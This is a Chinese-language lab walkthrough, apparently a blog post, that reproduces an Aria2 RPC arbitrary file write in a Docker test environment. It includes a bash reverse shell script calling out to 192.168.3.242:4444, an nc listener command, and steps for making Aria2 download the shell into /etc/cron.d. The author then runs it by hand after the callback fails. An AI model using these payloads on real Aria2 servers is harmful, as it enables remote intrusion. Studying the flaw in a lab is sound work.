Aria2 任意文件写入漏洞

目录

Aria2介绍

Aria2是一个在命令行下运行,多协议,多来源下载工具(HTTP / HTTPS,FTP,BitTorrent,Metalink),内建XML-RPC用户界面。Aria提供RPC服务器,通过--enable-rpc参数启动。Aria2的RPC服务器可以方便的添加、删除下载项目

我们可以使用 RPC 接口来操作 aria2 并将文件下载到任意目录,从而造成任意文件写入漏洞。

6800 是 Aria2 的 RPC 服务的默认端口。环境启动后,访问 和 服务会返回 404 页面

漏洞描述

RCE漏洞,可以让攻击通过控制文件下载链接,文件储存路径以及文件名,直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。同时通过Aria2提供的其他功能,诸如save-session等也能轻易地实现任意文件写入指定功能

漏洞复现

1.测试环境,访问http://192.168.3.243:6800/ 是一片空白

2、使用burp抓包,发包。发现报404错误

3、首先因为rpc通信需要使用json或者xml,不太方便,所以我们可以借助第三方UI来和目标通信,如 http://binux.github.io/yaaw/demo/访问这个UI,点击这个小扳手(settings),添加你的靶场域名

4、配置Setting,按照下面的内容结合自身的ip地址填写, 其它的包括Base Dir不用填写保存后自动显现。

5.配置一个web服务器,kali已经集成了Apache,只要将其启动就可以开始使用了

bash 复制代码
启动命令:service apache2 start
停止命令: service apache2 stop

Shell文件内容:

bash 复制代码
#!/bin/bash
 
/bin/bash -i >& /dev/tcp/192.168.3.242/4444 0>&1

将shell文件放在/var/www/html/目录下

6、上传shell文件

首先在kali中开启监听:

bash 复制代码
nc -nvv -lp 4444

7、点击添加新增并且设置下载任务,填写shell的url,及受害主机shell文件的存储路径

和我查到的所有资料一样 ,都不能自动获得监听

8、手动获取监听

在靶机中输入:

bash 复制代码
docker ps                                
//查看容器id
docker exec -it 容器Id /bin/bash             
//进入容器shell   例如:docker exec -it c9ff092ad911 /bin/bash
cd /etc/cron.d                                    
//进入到cron.d目录
ls 

从上面已经上传的shell可以看出,这个任意文件写入漏洞是存在的

9、手动给shell加权限,执行shell

bash 复制代码
chmod +777 shell
./shell
相关推荐
moongoblin1 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA1 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花2 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
饮长安千年月6 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全
大咖分享课6 小时前
容器安全最佳实践:云原生环境下的零信任架构实施
安全·云原生·架构
淡水猫.7 小时前
ApacheSuperset CVE-2023-27524
安全·web安全
恰薯条的屑海鸥8 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第九期-Unsafe Fileupload模块)(yakit方式)
网络·学习·安全·web安全·渗透测试·csrf·网络安全学习
Bruce_Liuxiaowei8 小时前
Web安全深度解析:源码泄漏与未授权访问漏洞全指南
安全·web安全
代码搬运媛8 小时前
React 中 HTML 插入的全场景实践与安全指南
安全·react.js·html
珹洺11 小时前
数据库系统概论(十七)超详细讲解数据库规范化与五大范式(从函数依赖到多值依赖,再到五大范式,附带例题,表格,知识图谱对比带你一步步掌握)
java·数据库·sql·安全·oracle